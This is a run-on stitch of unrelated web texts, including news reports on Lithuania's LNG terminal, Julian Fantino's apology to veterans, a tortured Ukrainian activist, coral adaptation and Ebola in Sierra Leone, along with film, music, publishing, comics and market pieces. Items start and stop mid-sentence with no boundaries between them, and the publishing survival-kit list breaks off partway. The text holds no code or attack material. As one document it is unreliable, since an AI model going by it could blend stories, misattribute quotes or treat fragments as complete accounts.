“So really, we don’t care anymore (about Russia gas supply cuts)... I’m not concerned about gas supplies for the upcoming winter, at least for Lithuania.”
SECURITY CONCERNS
She also said she was not concerned about the terminal’s security. Nearby Sweden mobilized ships, troops and helicopters in a search for “foreign underwater activity” at the weekend.
“Our people are training with Norwegian and NATO forces. We are taking that seriously and we will be prepared,” she said.
Lithuania has been training its special forces to protect the terminal for the past year.
Lithuania meets about 60 percent of its electricity needs via imports, the highest import dependency ratio in the European Union, and relies on Russia.
That dependence will be cut when it starts a 650 MW subsea cable to Sweden by end-2015, Grybauskaite said.
The former European Union commissioner said she expected the EU to step up efforts to reduce energy dependence on Russia in the wake of Ukraine crisis.
“The dependence on such an unpredictable and unreliable partner in energy means that... Europe is risking too much, Europe is paying too much and Europe is not competitive because of that,” Grybauskaite said.
“We found this solution in Lithuania. In three and half years we succeeded in having the LNG terminal, which allows us to be fully independent from Gazprom.”BUSSELTON, West Australia – Robert Connolly’s “Paper Planes” claimed the richest festival award in Australia on Saturday (Aug. 23, 2014).
The film was named as the winner of the first prize at the CinefestOZ festival (Aug. 20-24), in Busselton, West Australia, where the state’s Royalties For Regions program has put up a A$100,000 (US$92,000) award.
The film, which stars Sam Worthington (“Avatar”), is a crowd-pleasing piece of family entertainment about an imaginative young boy who dreams of taking part in the world paper-plane making championships in Japan.
“I made this film for my owns kids,” said Connolly (“The Turning,” “These Final Hours”). “If we don’t make films for our our kids, how should we convince them to watch Australian films in later life?”
It beat competition from the Matthew Saville-directed “Felony,” Stephen-Lance-directed “My Mistress,” Julian Avery-directed and Ewan McGregor-starring “Son of a Gun,” John V. Soto’s “The Reckoning,” and “The Waler: Australia’s Great War Horse,” a documentary reconstruction of a WWI animal odyssey, directed by Russell Vines.
Prizes were unanimously decided by a jury headed by Bruce Beresford (“Driving Miss Daisy”). Bersford said “Paper Planes” is a “charming children’s film which also appeals to adults.”
Australian star actor Joel Edgerton (“The Great Gatsby,” “Zero Dark Thirty”) was given the festival’s Screen Legend Award. Edgerton wrote, produced and starred in “Felony.” In an after-dinner style speech, Edgerton asked if it was a little premature to receive a Legend award, but said that he accepted the compliment gladly.
The festival, which is now in its seventh year, ranges from schools programs, though to targeted film industry events. Backers include the mining giant Rio Tinto, and regional film funding agency ScreenWest.
Three of the finalists — “Son of a Gun,” “The Reckoning” and “Paper Planes” — were shot in the state of West Australia.Furious veterans have rejected an apology by Julian Fantino as nothing more than a mere “performance” after the minister said in the House of Commons that he “absolutely regrets” that he arrived “very late” for a scheduled meeting.
[np_storybar title=”Minister Julian Fantino’s written apology” link=””]
Yesterday, due to Cabinet meeting that ran long, I was very late in meeting a group of Veterans that had come to Ottawa to discuss their concerns. I sincerely apologize for how this was handled. Today, I am reaching out to those Veterans to reiterate that apology personally.
I have been committed to having an open dialogue with the men and women who served Canada in uniform, but I realize that yesterday’s regrettable delay has brought that into question. Veterans across Canada should know that I remain deeply committed to meeting with them and listening to the issues that matter to them and their families, and to continue to do what’s right to support those who have stood up for Canada. Our country’s Veterans deserve no less.
[/np_storybar]
In the face of growing calls for him to resign or be fired, Fantino had tried to offer an olive branch Wednesday to the former soldiers left angry and insulted after the veterans affairs minister abruptly cancelled his meeting with the veterans, only to then “barge in” at the last minute and apparently insult the group. The minister blamed a Tory cabinet meeting that ran late for the “regrettable delay. ”
“It’s human nature that people make mistakes,” said Bruce Moncur, a 30-year-old veteran who served in Afghanistan. “But if you keep making the same mistake over and over, sorry’s not good enough.”
The Conservatives were in full damage-control mode as both opposition parties joined veterans in demanding Fantino be fired over his brusque handling of the meeting late Tuesday.
“I absolutely regret yesterday’s events and, as I did last evening, I apologized directly to the veterans and again I apologize now,” Fantino said as he read from a prepared statement in the House of Commons. “I wanted to meet with them to hear their case and their stories, and explain to them the changes that we are making that will, in fact, look after their interests and their families in the long term.”
But the veterans, stung by the encounter, refused to accept Fantino’s apology.
“We’re not interested,” Paul Davis said. “He doesn’t mean it from the heart.”
Second World War Veteran Roy Lamore called Fantino’s apology a performance that was “ridiculous, stupid and the worst thing” he has ever heard.
“It’s too late,” Ron Clarke said. The Vietnam veteran had called for Mr. Fantino’s resignation, or firing Tuesday night after the “unbelievable, unacceptable and shameful meeting.”
“Mr. Harper and his Conservatives had best be prepared for the next election. There are two [other] parties who said they’d open our offices, and [soldiers] might want to think about voting for them, but not the Conservatives.”
Jan. 28 press conference with veterans
At the centre of the controversy is the imminent closure of eight regional Veterans Affairs offices, which provide support and benefit services to veterans across Canada, as the government moves towards providing services online.
It remains an open question just how far Fantino’s regrets will go towards mitigating a corrosive political debate about the government’s push toward more online and remote services for Canada’s ex-service members.
“What the Minister did yesterday was disgraceful. The only thing we want is a commitment to keep open the eight offices and reopen the Prince George office. Veterans have earned that respect,” Clarke, Moncur and Davis said in a joint statement.
Reports Wednesday evening suggested the minister was calling each veteran’s home to personally apologize, but Clarke said his wife received a call from Fantino’s chief of staff instead.
Davis, who reiterated his call for Fantino’s resignation Wednesday evening, said the minister is not really interested in veterans’ affairs and hasn’t done a good job.
He called Fantino confrontational and a bully on CTV’s power play, but said he isn’t ready to give up the fight to keep Veterans Affairs Offices open.
“This battle is not near over,” the 66-year-old veteran said. “We’re going to regroup.”
Conservatives portray the closures as increased efficiency; the opposition, public service unions, and an increasing number of veterans groups call it cost-cutting to the detriment of those who put their lives on the line for their country.
Prime Minister Stephen Harper stood by Fantino, dismissing the growing public outcry as having been manufactured by the union that represents veteran affairs staff, which helped facilitate the meeting with the minister.
“The minister has apologized for the events of yesterday but the fact of the matter is that this government and this minister have increased services for our veterans without precedent.”
This is in the best interest of veterans
“We have a small number — a small number — of duplicate veterans offices that have a very small caseload,” Harper told the House of Commons.
“I know the unions don’t like it, [but] it makes a lot more sense to have 600 points of service for veterans,” he said, a reference to the government’s plan to move services from Veterans Affairs to less specialized — but more plentiful — Service Canada outlets.
“I know why the unions and the NDP oppose that. This is in the best interest of veterans. They can play politics. We’re going to keep delivering for veterans.”
Fantino accused federal unions of deliberately misrepresenting what the government is doing with veterans’ services.
And one of Harper’s MPs, veteran Alberta Conservative Laurie Hawn, went a step further and accused the Public Service Alliance of Canada of not only sandbagging Fantino at the meeting, but cynically playing on public sympathy and mistrust.
“They came to be mad, and they were mad,” Hawn said Wednesday about the veterans.
They came to be mad, and they were mad
“The fact is we’re caught in a bit of a love-hate relationship. People love to love veterans and soldiers, as they should. A lot of people love to hate government, and that’s the reality, the former air force colonel said.”
“When you put those two emotions together, it’s a perfect setup for manipulation by the opposition, by the media and by [federal union] PSAC [Public Service Alliance of Canada],” Hawn told reporters.
The union has run a high-profile campaign against the closures, including the organizing of public rallies.
The centres — in Kelowna, B.C., Saskatoon, Brandon, Man., Thunder Bay, Ont., Windsor, Ont., Sydney, N.S., Charlottetown and Corner Brook, N.L. — are slated to shut down Friday. A ninth office has already closed in Prince George, B.C.
A veteran’s advocate says Conservatives are mistaken if they believe the groundswell of opposition is nothing more than another front in their undeclared war to ramp back benefits, entitlements and the power of public sector unions.
“It is disingenuous for the government to dismiss these veterans’ concerns as a union matter,” said Mike Blais, president of Canadian Veterans Advocacy. “It is the services that are being denied that must be the focus.”
Clarke, who describes himself as “not a union person,” said the veterans started the movement, but they wouldn’t have been able to afford to fly in to Ottawa from across the country without the union’s help.
Gordon Moore, head of the Royal Canadian Legion, said he believes the Conservatives are being hurt by the weight of this and other recent veterans controversies. Moore said he can’t understand why the government seems to be picking a fight with vets.
There are still 118,000 Second World War and Korean veterans in Canada, many of them of an advanced age and lacking computer skills.
Moore asked: What would be the harm of delaying for a few years the transition towards greater online access?
Much of the fallout from Tuesday’s angry meeting focused on Fantino’s personal style, which has occasionally rubbed ex-soldiers the wrong way. He caused an Internet furor last fall for remarks that likened his time with the Ontario Provincial Police with that of soldiers who’ve seen combat.
Fantino has showed a lack of understanding, a lack of heart
The abrasiveness was not lost on NDP Leader Tom Mulcair, who led the charge for the minister’s resignation.
“Mr. Fantino has showed a lack of understanding, a lack of heart, a lack of feeling, a lack of respect,” Mulcair said. “He shows nothing but scorn for people who come to him for help and he must be removed from his position.”
Liberal Leader Justin Trudeau also demanded Fantino’s ouster.
Veteran’s advocate Jerry Kovacs said the people he talks with are pining for the days of dealing with former veterans minister Steven Blaney.
One former soldier, Daniel Drapeau, said Wednesday he’s so disgusted that he cut up his Conservative membership card and plans to park his vote elsewhere.
“They keep hurting us,” he said, “and they won’t stop.”
With files from Postmedia NewsMONTREAL — Canada’s largest cellphone providers are reviewing a Quebec Court of Appeal ruling that authorized a class-action lawsuit against them in the province over roaming fees.
Toronto-based Rogers Communications, which operates Fido, along with Bell and Telus face the prospect of a trial that could result in them having to pay millions of dollars to customers allegedly charged excessive international data roaming fees.
Rogers and Bell said they are studying the Wednesday ruling and declined to say if they will seek leave to appeal to the Supreme Court.
Quebec’s high court this week overturned a lower-court ruling that rejected an application filed on behalf of Montreal Fido customer Inga Sibiga, who was billed $250.81 in extra charges for using her cellphone during a 2012 U.S. vacation.
The lawsuit claims the charges were “exploitative” and ran afoul of Quebec’s Consumer Protection Act.
The ruling comes amid a CRTC report that said Canadians pay some of the highest prices for mobile phones compared to those living in the other G7 nations and Australia.
The class-action lawsuit will cover hundreds of thousands of consumers residing in Quebec who were charged more than $5 per megabyte after Jan. 8, 2010.
The Canadian PressDmytro Bulatov, a Ukrainian opposition activist who went missing last week says he was kidnapped and tortured. The photo shows Bulatov before and after he was abducted and beaten. (AP)
Ukrainian protest leaders learned Friday that one of their number, missing for more than a week, had turned up in the woods outside Kiev, his ear and cheek deeply slashed, the blood caked on his face. He had puncture wounds in his hands and told friends that his abductors had crucified him.
Dmytro Bulatov, 35, was an organizer of what is called the AutoMaidan, a group that got together convoys of cars to spread the continuing protest in Ukraine and to target the residences of leading government figures.
He disappeared Jan. 23, a day after two other abducted protest leaders, Ihor Lutsenko and Yuriy Verbytsky, had been found, also beaten and also in the woods. Verbytsky had frozen to death.
Bulatov managed to call friends in Kiev late Thursday, and they retrieved him and took him to a hospital. He told them that he didn’t know his abductors but that they kept asking the same question Lutsenko said his kidnappers had asked him: Who is paying the demonstrators?
He also said they spoke with Russian accents.
1 of 30 Full Screen Autoplay Close Skip Ad × Protests against government continue in Ukraine View Photos Protesters and riot place clashed in Kiev, the Ukrainian capital. Meanwhile, Ukraine’s parliament was considering measures to grant amnesty to those arrested during protests that have gone on since November. Caption Protesters and riot place clashed in Kiev, the Ukrainian capital. Meanwhile, Ukraine’s parliament was considering measures to grant amnesty to those arrested during protests that have gone on since November. Feb. 5, 2014 Ukrainian mothers pray in front of a police line at a barricade in Kiev, Ukraine. Sergei Supinsky/AFP/Getty Images Buy Photo Wait 1 second to continue.
“He has no fractures, no concussion,” Serhiy Poyarkov, an AutoMaidan activist, told Radio Liberty early Friday after talking with Bulatov. “He was cut, severely beaten and humiliated. He was kept without food for the last few days.
“He was tortured for a long time. They wanted to know who is financing us.”
The Interior Ministry announced Friday that Bulatov was refusing to cooperate with an investigation into his abduction and had been placed on a list of people who are barred from leaving the country.
Bulatov’s disappearance — and the reported disappearance of perhaps dozens of others — is one of the reasons the opposition has been unwilling to vacate the public buildings it occupies in exchange for amnesty, under a bill signed into law Friday by President Viktor Yanukovych despite his decision to take a sick leave with what authorities say is a respiratory infection.
The president has also signed a bill repealing a set of harsh laws that had been passed Jan. 16 to repress free speech and assembly. But that has done little to mollify the wary opposition.
On Thursday night, as many as two dozen cars bearing license plates from Lviv, a hotbed of anti-government sentiment, were torched in Kiev. Opposition leaders blamed police-hired thugs known as “titushki.”
After the resignation earlier in the week of Prime Minister Mykola Azarov, no new government has been formed. Distrust is mounting, and the opposition says it fears that the ruling Party of Regions will ram appointments and changes through parliament just as it did the stringent anti-protest laws.
On Friday, the Defense Ministry, which has said it will not intervene in the political crisis, called on Yanukovych to take “urgent” steps to prevent the country from unraveling. In Poland, Prime Minister Donald Tusk said he feared Russia would intervene after the Olympics, leading to a surge of refugees into his country, according to Polish radio.Deep-water corals carry genetic variants that could help them adapt to global warming but only if greenhouse gas emissions are reduced, a new study suggests.
Based on their previous work which identified genes that make some individual corals more heat tolerant than others, researchers in the US ran computer simulations based on projections by the UN Intergovernmental Panel for Climate Change (IPCC) – a body tasked with providing an objective, scientific view of climate change and its political and economic impacts.
They believe coral could survive under the mild and moderate scenarios, where warming does not exceed 1.8C to 2C by 2100.
But in more severe scenarios, where temperatures are around the higher end of the spectrum at 3.7C, simulations showed adaptation was not fast enough to prevent extinction.
Study leader Rachael Bay, a postdoctoral scholar at the University of California, Davis, said: “These corals aren’t going to adapt at an unlimited rate.
(Rachael Bay/UC Davis)
“Keeping these reefs around requires curbing emissions.”
This research focused specifically on tabletop corals in the Cook Islands and scientists say further study is needed to understand the broader implications for other coral species.
Study co-author Steve Palumbi, from Stanford University, said: “Many existing coral populations have a bank of adaptations that has been evolving for a long time.
“Those existing adaptations are an asset for them to survive longer and for us humans to benefit longer.”
(Rachael Bay/UC Davis)
In the last few years, coral reefs have experienced the worst bleaching and mortality events in recorded history, with a rise in ocean temperatures to blame.
Dr Bay said: “This sort of framework could be used for any population we want to help adapt to future climate change, whether it’s corals or birds or insects.
“It’s a way to integrate the genomic data to produce tangible, predictive outcomes.”
The research is published in the journal Science Advances.Supporters of Bernie Sanders’ presidential bid have taken to social media to blast Sen. Elizabeth Warren (D-MA) for endorsing Hillary Clinton, “the worst nominee of the Democratic Party.”
The Real Progressives Facebook page, which boasts more than 36,000 followers and fans, posted a picture of both Clinton and Warren side-by-side with the words, “We understand betrayal” written above their faces.
When avid Sanders supporter Donald Mersel shared the Real Progressives meme, he captioned the post with, “Surely, Elizabeth Warren read Clinton Cash by Peter Schweizer So why is she endorsing the worst nominee of the Democratic Party??”
“Hillary Clinton is the most corrupt person to run for President and even is under FBI – Federal Bureau of Investigation,” Mersel’s post read, and included the hashtag #ClintonCash.
Within hours, Mersel’s post had garnered hundreds of likes. He continued to promote Clinton Cash by linking to a video of CNN host Michael Smerconish interviewing Breitbart editor-at-large Peter Schweizer and author of The New York Times bestselling book, who laid out some of the allegations from the Clinton Cash book and documentary.
“
Indeed, Clinton Cash was the first published work of its kind to meticulously scrutinize the millions of dollars in donations received by the Bill, Hillary, and Chelsea Clinton Foundation from foreign governments and foreign individuals, while Hillary Clinton was secretary of state.
The Bernie Sanders supporters’ bashing of Warren for her support of Hillary Clinton came just days after Hollywood A-list actress and avid Bernie Sanders supporter Susan Sarandon blasted Senator Warren on Twitter for her endorsement of Clinton for president.
The far-left actress accused Warren of supporting a “candidate who represents everything [she] has fought against.”
Follow Jerome Hudson on Twitter: @jeromeehudson.Update, 2/11/12, 12:22 pm: We’ve gotten some more info on the track. Guitarist Dean Herrera recorded all the guitar parts for these tracks during sessions for Digital Veil. Like that album, it was mixed and mastered by Will Putney. Internally, the band refers to the song as “Dean Shreds Beethoven.” My apologies for assuming it was a Minette joint! It wasn’t my intention to take anything away from Herrera, who is also a crazy talented guitar player that deserves his due.
Here’s something that’ll make you happy while we wait to see whether or not The Human Abstract have broken up.
Beethoven’s “Moonlight Sonata” is one of those pieces of music that’s so famous, everyone in the entire world knows it, even if he or she doens’t know that he or she knows it. Seriously. It’s this thing, in case you’re one of those people who doesn’t know you know it:
See? You’ve heard that, like, a gajillion times before, right?
Well, it’s no secret that The Human Abstract guitarist A.J. Minette is a student of classical music — that’s clear just from reading the “Abstract Theory” columns he wrote for us, or this interview I did with him while the band was in the studio recording last year’s Digital Veil, or just from, y’know, listening to the band’s music for ten seconds — so it should be no surprise that at some point the band recorded a cover of “Moonlight Sonata.” It’s available now on iTunes, and it costs all of two bucks.
I’m listening to it now, and, naturally, the band metalled it up in some places, and, yes, it is frickin’ awesome. It also further illustrates a point we’ve been trying to make forever — that there’s a distinct and definite connection between classical music and metal.
So download the tracks and then play them for your snobby friend who thinks metal is just noise that takes no skill to play, or whatever other bullshit they’re slingin’. And tell ‘im The Human Abstract sent ya.
-ARFormer Pennsylvania Sen. Rick Santorum announced Monday that he’ll run for the Republican presidential nomination. He’s “in it to win,” he told ABC’s George Stephanopoulos on “Good Morning America.”
That’s kind of a defensive thing to say, isn’t it? Presumably, nomination candidates always enter the race with hopes, even expectations of victory. To stress that point is to risk protesting a bit too much.
But that might be Mr. Santorum’s biggest problem. His White House quest seems quixotic, even in an electoral cycle where the field of candidates has no strong frontrunners.
After all, Santorum is an ex-senator because he lost his 2006 bid for reelection by 18 points. Current polling has him as the first choice of about 2 percent of GOP voters. He’s a strong social conservative in a year when conservatives’ energy seems focused on fiscal issues such as the national debt. More charismatic politicians such as Herman Cain, Michele Bachmann and Sarah Palin (maybe) are competing with him for the same rightward slice of the electorate.
Santorum’s “is an unusual case of presidential fever,” noted University of Virginia political scientist Larry Sabato in a rundown of candidates on his “Crystal Ball” blog earlier this year.
The strength of the fundamentalist Christian vote in Iowa might help Santorum score well in the caucuses there, to be held February 8, 2012. He is also strong in South Carolina, the first state in the South to hold a primary.
But his ardent crusades against abortion and same-sex marriage would be unlikely to win him a majority against President Obama in the general election, and are not what tea party activists are looking for at the moment.
“It is difficult to see how Santorum becomes the nominee,” Professor Sabato concluded.
On the plus side, Santorum right now has only about 43 percent name recognition among Republican voters. That might sound like a bad thing, but it also means he has an advantage – he could yet recruit supporters from the many Republicans who don’t really know who he is.
His Positive Intensity Score – the percentage of voters who know him and have a highly favorable opinion of him, minus those who have a highly unfavorable opinion of him – is 16 percent, according to Gallup. That’s not fabulous, but it’s not too bad. Among announced or likely candidates, Santorum trails only Representative Bachmann and Mr. Cain in this measure. (Their scores are 21 and 25, respectively.)
But as Gallup editor in chief Frank Newport notes, “Rick Santorum is not breaking out from the back at this point, based on our data.” At 2 percent, his ballot support is last among the current or likely candidates that Gallup polls on. Even Cain, a former pizza chain CEO who until recently was virtually unknown, has vaulted past him and is now the choice of eight percent of Republican voters.
Santorum may hope that some of Mike Huckabee’s supporters eventually move to support him. He also appears to plan to woo tea party types with strong anti-Obama rhetoric.
“He’s devalued our currency and he’s not just devalued our currency, he’s devalued our culture,” said Santorum on Monday, when announcing his candidacy from the courthouse steps in Somerset County, Pa.Q: I’m a member of the alt-right and I’d like to self-publish my memoir. Can you help me?
A: Hmmm. By “alt-right” do you mean what we think you mean? Then:
Q: Oops I didn’t vote. Can you–
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A: No.
Q: The world is a mess. How can I expect people to care about my book?
The world is a mess. It is completely rational to question whether anyone will care about your work in a time like this, but the truth is literature is more important now than ever. Books connect us, enlighten us, increase our sense of empathy, and expose us to people and places from around the globe. They serve as a temporary escape from, or a deep dive into, our painful world. They can explain the manifold reasons (zillions of them) why the world is so confusing, as well as show us moments of breathtaking beauty. They can offer a needed guide or an escape route. They make us laugh, gasp, marvel, sob, worry, feel reinvigorated. All books are necessary: novels, short stories, humor, graphic literature, memoir, science, psychology, history, picture books, your book(s). Literature is like the air we breathe: vital.
So, how can you expect people to care about your book? Right now, we suggest flipping the question to ask: How can I support literature, reading, and authors universally? In helping others, others will help you.
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An Author’s Survival Kit in Ten Steps
1) Read and purchase diverse literature
Read work by people not like you. Getting outside of your own subjective worldview will vastly improve your mind and expand your heart. Seek out work by diverse writers to experience the world through the eyes of others: read books by people of color, people of a different faith, Indigenous Americans, LGBTQ authors, people with disabilities, writers from other countries. According to the Diversity Baseline Survey released last year by Lee & Low Books, a whopping 79 percent of the publishing industry is white, and the total number of diverse books published each year, over the past 20 years, has been stuck in neutral, never exceeding 10 percent. Writing, publishing, editing, promoting, reviewing, reading, championing books by diverse authors is more important now than ever.
2) Read and purchase literature in translation
Reading books translated from other countries provides a crucial window on how other people live—what is important to them, what motivates them politically or spiritually. Most importantly, it offers empathy, and reminds us how big our world is. Also, with thanks to Idra Novey who recently mentioned this Eliot Weinberger quote: “Translation flourishes when there is a national inferiority complex or national embarrassment.” There was a boom in translated work during the Vietnam War and the Bush years, for example—perhaps we’ll see a flourishing of literature in translation now. Take a look at what Chad Post is publishing at Open Letter Books or posting on his blog, Three Percent. Seek out books and authors published by New Directions, Archipelago, Graywolf Press, Deep Vellum, New Vessel, Dalkey Archive Press, Europa Editions, and others.
3) Support free speech and literary/journalism/political causes
The literary community is all of us: donate to causes that help strengthen those who need it most and that strengthen our journalistic media. If you can’t donate money, donate time: investigate what these organizations are up to and see how to become involved, even if it means only spreading the word about their work to your friends or on social media. Here are a few organizations we love and ones who are doing important work, especially lately: PEN, the International Center for Journalists, ProPublica, Book Aid International, the African Library Project, the Afghan Women’s Writing Project, The NAACP, the Marshall Project, Southern Poverty Law Center, Council on American-Islamic Relations, Planned Parenthood, Native American Rights Fund, Lambda Legal, Environmental Defense Fund, Union of Concerned Scientists, the Center for Reproductive Rights, the National Resources Defense Council, the International Refugee Assistance Project, the Trevor Project, the Mexican American Legal Defense and Educational Fund.
4) Support your local and national media
If you don’t already, subscribe to your local daily newspaper. Print or digital is fine. Subscribe to the Washington Post, the New York Times, and the Los Angeles Times… Their articles go out on wire services and now inform vast swaths of our country and the world. Support National Public Radio, your local public radio and television stations. We need journalism and the freedom of the press now more than ever. ProPublica and the ACLU continue to do critical work—you can donate or sign up for their news alerts.
5) Support literary journals/publications
Subscribe, read, share: Poets & Writers, the Paris Review, Tin House, A Public Space, Callaloo, Bellevue Literary Review, American Poetry Review, Threepenny Review, Ploughshares, Guernica, Bomb, and many others. You can find countless more examples on the shelves of your local bookstore and library.
6) Set up readings and writing workshops within your local community
Arrange panel events with fellow authors at your local bookstore/library/college/coffee shop and tackle contemporary issues. Become a mentor or teacher for people in need, specifically children and immigrants. Girls Write Now and 826 are just two of the excellent organizations you can play an active role in—investigate other like-minded non-profits in your area.
7) Continue writing
These are uncertain, scary times. Don’t give up on the extraordinary power of the written word. Stick to your routine: it will anchor you through storms large and small. It’s important that we continue creating art—such a life-affirming, radical act in the face of oppression—just as it’s important we document the changing world around us.
8) Share what you’re reading
We sometimes forget that not many people in our great country read books regularly. Inspire others with your reading choices. Talk about what you read, share it on social media, explain why and how books matter to you. Pitch reviews of forthcoming books you’re passionate about to a book editor near you. Start conversations about books.
9) Visit and shop your local independent bookstore
Bookstores are on the frontlines in the fight for freedom of speech. But they’re also essential community centers run by passionate readers. Talk to a bookseller about what they’re reading, what books or authors they’re excited about—they’re unheralded local resources and can help you discover entire new worlds. As our friends at Independent Bookstore Day say, indie bookstores are “entire universes of ideas that |
All I will say is that it’s definitely someone who will surprise people and someone who will wind up playing a really important role both in Eternal and in Batman. We tried to choose our spoilers in this issue really, really carefully and pick things that would matter later on. Like, Selina’s status as the kingpin of crime is something that will stick. We want to use that in Batman and do an arc with that, and you’ll see it reflected in Catwoman. All of that stuff is meant to be meaningful, and not just small shocking things that aren’t important to the story. So, that character we see briefly is going to be a big, big part of Gotham mythology soon.
MSG: Thanks so much, Scott!
Scott Snyder’s “Zero Year” storyline continues next month in Batman #29, but to follow the threads of Batman #28, look no further than Batman: Eternal #1 in April from DC Comics!The economic data calendar is pretty quiet today. Friday's US employment report confirmed reasonable labor market strength. Contrary to some media comments, Friday's employment report said nothing about wages (wages are not part of the employment report).
The Trump Twitter Feed was quiet over the weekend, although there were comments promoting the sunlit uplands that the new tax legislation is supposed to produce. This view is somewhat undermined by media reports that the current Senate proposals will create marginal tax rates of over 100%.
North Korea has been muttering that any blockade represents a declaration of war. Markets tend not to pay attention to North Korean mutterings. Several countries have been muttering support for the World Trade Organization. Markets tend not to pay attention to WTO politics. Some UK government ministers have been muttering that the Brexit deal is not really a deal. Markets tend not to care at all.
The bubble to end all bubbles continues. Cryptocurrencies only have value if accepted as currencies. However, they cannot be used for the most important transaction in an economy, and cryptocurrency supply can only rise and never fall (making them a poor store of value). To date, using cryptocurrencies requires (effectively) a simultaneous asset sale and purchase of goods or services.FREETOWN (Reuters) - Sierra Leone President Ernest Bai Koroma asked the country to begin a week of fasting and prayers on Thursday to end the Ebola virus that has killed more than 2,700 of his countrymen.
Sierra Leone's incumbent President Ernest Bai Koroma waves to supporters after voting in the capital Freetown November 17, 2012. REUTERS/Joe Penney
The worst outbreak on record of the virus is still spreading in West Africa, especially in Sierra Leone, and the number of known cases globally has exceeded 20,000, the World Health Organization (WHO) said on Wednesday.
In a New Year’s Day broadcast, Koroma said the seven days of prayers and fasting would begin immediately. “Today I ask all to commit our actions to the grace, mercy and protection of God Almighty,” he said.
The death toll from the outbreak, which has been mostly confined to West Africa, has risen to 7,905, the WHO said, following 317 fatalities recorded since it last issued figures on Dec. 24.
Sierra Leone is the worst-hit country in West Africa with more than 9,000 Ebola cases and the number of infections continue to grow. It accounted for 337 of 476 new laboratory-confirmed cases since Dec. 24.
Koroma also said schools - which have been shut since July to curb the spread of the virus - would reopen soon.
“The ministry of education is putting in place modalities to reopen schools and colleges in the shortest possible time,” Koroma said, without giving a specific date.
Many schools are being used as Ebola holding centers, raising questions as to how soon they will be able to reopen.
Koroma urged people not to touch the sick or corpses and not to disobey quarantine orders.
“I know what we are being asked to do is very difficult; we are a people that have built our humanity on hugging each other, on shaking hands, on caring for the sick and showing communal empathy by participating in funeral activities,” he said.
“But today the Ebola devil of illness and death hides in the innocent clothing of our culture to get us,” he said.In a political system based on spin and obfuscation, clarity and honesty are rare indeed. This is why recent talk of throwing Joe Hockey to the wolves is worrying. When Hockey tells Sydneysiders to get a good, well-paying and secure job if they want to enter the property market, he is telling us what this government really thinks. If you don't have a job that pays much better than the average wage then you don't deserve to own your own home. If the best you can do with your life is be a teacher in a public school or a nurse or a waiter then you're not worthy of his concern or interest. Get a better job, then come talk about your problems.
Hockey's unscripted moments of truth and clarity combine with his budget measures to leave us with no doubt that looking after those with wealth and privilege at the expense of those without is the overarching guiding principle of this government. Of course, he would have his own internal justification for this stance that would sound a lot less aristocratic but if exposed to critical scrutiny it would be unlikely to hold water. This, of course, is why such views are not exposed to public scrutiny except in those lovely moments when Hockey has a slip-of-the-truth.
Treasurer Joe Hockey addressed the CEDA conference at Parliament House in Canberra on Monday 22 June 2015. Photo: Andrew Meares Credit:Andrew Meares
Hockey represents those who don't need to even think about housing affordability. He knows lots of people who are buying in Sydney. He knows lots of people who own lots of houses in Sydney. 'How can it be unaffordable if people are affording it?' he earnestly asks.
There are two kinds of people in Hockey's world; the 'lifters' who have money and power and the 'leaners' whose primary role is to provide the goods and services to those with money and power. Only the former really matter. If you're not up to the task of gaining money and power then don't come knocking on Joe Hockey's door. By contrast, if you're wealthy enough to have clever accountants who can funnel your large income through trusts, companies and self-managed superannuation funds then Hockey's your man in Parliament. He's keen to cut government expenditure on anything that benefits the 'leaners' but massive government tax concessions for the 'lifters' are out of bounds in the crusade to balance the budget.BURBANK, Calif., July 9, 2014 -- Hollywood Records and Marvel are set to release three albums from Marvel's Guardians of the Galaxy on July 29, 2014. The Guardians of the Galaxy Deluxe soundtrack features classic 1970s songs from the film, plus score by composer Tyler Bates ("Watchmen," "Slither," "Dawn of the Dead"). Guardians of the Galaxy Awesome Mix Vol. 1 is the collection of 12 songs including Blue Swede's "Hooked on a Feeling," "I'm Not in Love" by 10cc, Redbone's "Come and Get Your Love," and The Runaways' "Cherry Bomb," and Guardians of the Galaxy is the digital score soundtrack. The film opens in U.S. theaters on August 1, 2014.
Music plays a major role in Marvel's Guardians of the Galaxy as the 1970s songs featured in the film are part of the storyline in a unique way. Explaining how the songs come to play in the story, director James Gunn says, "One of the main story points in the movie is that Quill has this compilation tape [Awesome Mix #1] that he got from his mother before she died that she made for him. It was of songs that she loved, all songs from the 1970s, and that's the only thing he has left of his mother and that's the only thing he has left of his home on Earth. He uses that as a connection to his past and to the sadness that he feels of having left all that and lost all that." Gunn also asked composer Tyler Bates to complete some of the tracks for the movie before the start of principal photography so he could play them on set. "The score is also very important," says Gunn. "I've worked very hard early on with Tyler Bates, our composer, whom I've done three other movies with, to write part of the score ahead of time so that I'm able to use it on set for big emotional sequences and big action sequences. We can actually play the music on set and the actors can really understand where we're going with it tonally. Our actors have a much better idea of what this film is because of the music that we use, both score and soundtrack."
Executive Soundtrack Producers: James Gunn, Kevin Feige and Dave Jordan
Music Supervisor: Dave Jordan
Awesome Mix Tape, Vol. 1 track list follows:
"Hooked on a Feeling" Performed by Blue Swede
"Go All the Way" Performed by Raspberries
"Spirit in the Sky"* Performed by Norman Greenbaum
"Moonage Daydream" Performed by David Bowie
"Fooled Around and Fell in Love" Performed by Elvin Bishop
"I'm Not in Love" Performed by 10cc
"I Want You Back" Performed by Jackson 5
"Come and Get Your Love" Performed by Redbone
"Cherry Bomb" Performed by The Runaways
"Escape (The Piña Colada Song)" Performed by Rupert Holmes
"O-O-H Child" Performed by The Five Stairsteps
"Ain't No Mountain High Enough" Performed by Marvin Gaye and Tammi Terrell
*Not in film“Ain’t no shame in holding on to grief, as long as you make room for other things, too.”
– Bubbles, “The Wire”
Recently, I auditioned for a project that I was sure I’d book. I hit all the right notes, lifted the right words off the page in the right places, and just did a downright bomb ass job. After I sent the audition in, I began clearing my schedule, waiting on my agent to let me know that I booked the job & the check would be in the mail soon…
…I waited…
…and waited…
…and waited some more, only to find out that I didn’t book the job.
What I then went through can only be described as the Five Stages of Audition Grief. I’m sure many of you have gone through the Five Stages before, and I’m sure they looked something like this:
DENIAL: Wait, what?! No no no, there HAS to be some mistake. I mean, I *nailed* that audition. Oh- I got it- I bet the client is just testing the spot using some second-rate actor and showing it on like, seven televisions nationwide, with mine just happening to be one of them. Surely the client will be giving me a call any minute now to record the *real* spot that will play on ALL the televisions…
ANGER: You’ve got to be f’n kidding me! That *is* the real spot?! Wow, so the client really is as stupid as their stupid product that no one in their right mind would want to buy, so of course they would use that stupid actor over me. I hope the client AND the voice actor both fall and scrape their knees REALLY badly. I HATE YOU ALL!
